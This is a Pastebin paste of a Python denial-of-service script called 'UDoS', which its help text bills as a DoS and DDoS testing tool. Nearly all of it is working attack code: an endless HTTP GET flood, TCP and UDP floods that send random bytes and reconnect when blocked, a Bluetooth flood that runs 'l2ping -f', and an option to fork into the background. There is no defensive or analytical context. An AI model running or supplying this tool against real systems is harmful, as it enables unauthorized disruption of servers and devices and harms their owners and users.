Advertisement
atulh4c

udos script

Dec 18th, 2014
320
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.09 KB | None | 0 0
  1. #Usage please check <name of file>.py --help thanks
  2. import re
  3. import socket
  4. import getopt
  5. import sys,os,time,random,urllib
  6. if sys.version_info[0] >= 3:
  7.     import http.client as httplib
  8.     from urllib.parse import urlparse
  9. else:
  10.     import httplib
  11.     from urlparse import urlparse
  12. #################################
  13. ##### Define some constants #####
  14. #################################
  15. # options
  16. debugMode=False
  17. consoleMode=False
  18. useProtocol="TCP"
  19. target=""
  20. port=80
  21. bluetoothMode = None
  22. bytes_len = 256
  23. ########################################################################
  24. ##### daemonize: if -d param not specified, daemonize this program #####
  25. ########################################################################
  26. def daemonize (stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'):
  27.     '''This forks the current process into a daemon.
  28.    The stdin, stdout, and stderr arguments are file names that
  29.    will be opened and be used to replace the standard file descriptors
  30.    in sys.stdin, sys.stdout, and sys.stderr.
  31.    These arguments are optional and default to /dev/null.
  32.    Note that stderr is opened unbuffered, so
  33.    if it shares a file with stdout then interleaved output
  34.    may not appear in the order that you expect.
  35.    '''
  36.     # Do first fork.
  37.     try:
  38.         pid = os.fork()
  39.         if pid > 0:
  40.             sys.exit(0)   # Exit first parent.
  41.     except OSError as e:
  42.         sys.stderr.write ("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror) )
  43.         sys.exit(1)
  44.     # Decouple from parent environment.
  45.     os.chdir("/")
  46.     os.umask(0)
  47.     os.setsid()
  48.     # Do second fork.
  49.     try:
  50.         pid = os.fork()
  51.         if pid > 0:
  52.             sys.exit(0)   # Exit second parent.
  53.     except OSError as e:
  54.         sys.stderr.write ("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror) )
  55.         sys.exit(1)
  56.     # Now I am a daemon!
  57.     # Redirect standard file descriptors.
  58.     si = open(stdin, 'r')
  59.     so = open(stdout, 'a+')
  60.     se = open(stderr, 'a+', 0)
  61.     os.dup2(si.fileno(), sys.stdin.fileno())
  62.     os.dup2(so.fileno(), sys.stdout.fileno())
  63.     os.dup2(se.fileno(), sys.stderr.fileno())
  64. ############################
  65. ##### eth/wlan attacks #####
  66. ############################
  67. def http_attack():
  68.     ''' Simple HTTP attacks '''
  69.     requests_sent = 0
  70.     timeouts = 0
  71.     o = urlparse(target)
  72.     print("Starting HTTP GET flood on \""+o.netloc+":"+str(port)+o.path+"\"...")
  73.     try:
  74.         while True:
  75.             try:
  76.                 connection = httplib.HTTPConnection(o.netloc+":"+str(port), timeout=2)
  77.                 connection.request("GET", o.path)
  78.                 requests_sent = requests_sent + 1
  79.             except Exception as err:
  80.                if "timed out" in err:
  81.                    timeouts = timeouts + 1
  82.     except KeyboardInterrupt:
  83.         print("Info: Maked "+str(requests_sent)+" requests.\nTimeouts: "+str(timeouts))
  84. def eth_attack():
  85.     ''' Ethernet/Wireless attack function '''
  86.     global log, target, debugMode, useProtocol, port
  87.     if useProtocol == "HTTP":
  88.         http_attack()
  89.         return
  90.     # number of packets for summary
  91.     packets_sent = 0
  92.     # TCP flood
  93.     if useProtocol == "TCP":
  94.         sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  95.     else: # UDP flood
  96.         sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) # UDP
  97.     bytes=random._urandom(bytes_len)
  98.     addr=(target,port)
  99.     try:
  100.         sock.connect(addr)
  101.     except socket.error as e:
  102.         print("Error: Cannot connect to destination, "+str(e))
  103.         exit(0)
  104.     sock.settimeout(None)
  105.     try:
  106.         while True:
  107.            try:
  108.                sock.sendto(bytes,(target,port))
  109.                packets_sent=packets_sent+1
  110.            except socket.error:
  111.                if debugMode == True:
  112.                    print("Reconnecting: ip="+str(target)+", port="+str(port)+", packets_sent="+str(packets_sent)) # propably dropped by firewall
  113.                try:
  114.                    sock.close()
  115.                    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  116.                    sock.connect(addr)
  117.                except socket.error:
  118.                    continue
  119.     except KeyboardInterrupt:
  120.         print("Info: Sent "+str(packets_sent)+" packets.")
  121. def bt_attack():
  122.     global target, port
  123.     # initialize socket
  124.     #sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM )
  125.     # number of packets for summary
  126.     #packets_sent = 0
  127.     # connect
  128.     #try:
  129.     #    try:
  130.     #        sock.connect((target, port))
  131.     #    except bluetooth.btcommon.BluetoothError as (bterror):
  132.     #        print "Error: Cannot connect using RFC to "+target+" on port "+str(port)+", "+str(bterror[0])+""
  133.     #        exit(0)
  134.      
  135.     #    while True:
  136.     #        packets_sent=packets_sent+1
  137.             # send random data
  138.     #        sock.send(str(random._urandom(bytes_len)))
  139.     #except KeyboardInterrupt:
  140.     #    print "Info: Sent "+str(packets_sent)+" packets."
  141.     try:
  142.         if not os.path.isfile("/usr/bin/l2ping"):
  143.             print("Cannot find /usr/bin/l2ping, please install l2ping to use this feature.")
  144.             sys.exit(0)
  145.         sto = os.system ("/usr/bin/l2ping -f "+target+" -s "+str(bytes_len))
  146.     except KeyboardInterrupt:
  147.         sys.exit(0)
  148.    
  149. ##########################################
  150. ##### printUsage: display short help #####
  151. ##########################################
  152. def printUsage():
  153.     ''' Prints program usage '''
  154.     print("UDoS for GNU/Linux - Universal DoS and DDoS testing tool")
  155.     print("Supports attacks: TCP/UDP flood, HTTP flood")
  156.     print("")
  157.     print("Usage: udos [option] [long GNU option]")
  158.     print("")
  159.     print("Valid options:")
  160.     print("  -h, --help             : display this help")
  161.     print("  -f, --fork             : fork to background")
  162.     print("  -d, --debug            : switch to debug log level")
  163.     print("  -s, --socket           : use TCP or UDP connection over ethernet/wireless, default TCP, available TCP, UDP, RFC (bluetooth), HTTP over ethernet")
  164.     print("  -t, --target           : target adress (bluetooth mac or ip adress over ethernet/wireless)")
  165.     print("  -p, --port             : destination port")
  166.     print("  -b, --bytes            : number of bytes to send in one packet")
  167.     print("")
  168. try:
  169.     opts, args = getopt.getopt(sys.argv[1:], 'hcds:b:t:p:b:', ['console','debug','help', 'socket=', 'target=', 'port=', 'bytes='])
  170. except getopt.error as msg:
  171.     print(msg)
  172.     print('UDoS for GNU/Linux - Universal DoS and DDoS testing tool')
  173.     sys.exit(2)
  174. # process options
  175. for o, a in opts:
  176.     if o in ('-h', '--help'):
  177.         printUsage()
  178.         exit(2)
  179.     if o in ('-d', '--debug'):
  180.         debugMode=True
  181.     if o in ('-f', '--fork'):
  182.         daemonize()
  183.     if o in ('-t', '--target'):
  184.         target = a
  185.     if o in ('-p', '--port'):
  186.         if debugMode == True:
  187.             print("Info: Using port "+str(a))
  188.         try:
  189.             port = int(a)
  190.         except ValueError:
  191.             print("Error: Port value is not an integer")
  192.             exit(0)
  193.     if o in ('-b', '--bytes'):
  194.         if debugMode == True:
  195.             print("Info: Will be sending "+str(a)+"b packets")
  196.         try:
  197.             bytes_len = int(a)
  198.         except ValueError:
  199.             print("Error: Bytes length must be numeratic")
  200.             exit(0)
  201.     if o in ('-s', '--socket'):
  202.         bluetoothMode = False
  203.         if a == "tcp" or a == "TCP":
  204.             useProtocol = "TCP"
  205.         elif a == "udp" or a == "UDP":
  206.             useProtocol = "UDP"
  207.         elif a == "RFC" or a == "rfc" or a == "BT" or a == "bt" or a == "bluetooth" or a == "BLUETOOTH":
  208.             useProtocol = "RFC"
  209.             bluetoothMode = True
  210.         elif a == "http" or a == "www" or a == "HTTP" or a == "WWW":
  211.             useProtocol = "HTTP"
  212.         if debugMode == True:
  213.             print("Info: Socket type is "+useProtocol)
  214. if bluetoothMode == False:
  215.     eth_attack()
  216. elif bluetoothMode == None:
  217.     print('UDoS for GNU/Linux - Universal DoS and DDoS testing tool, use --help for usage')
  218. else:
  219.     #import bluetooth
  220.     bt_attack()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement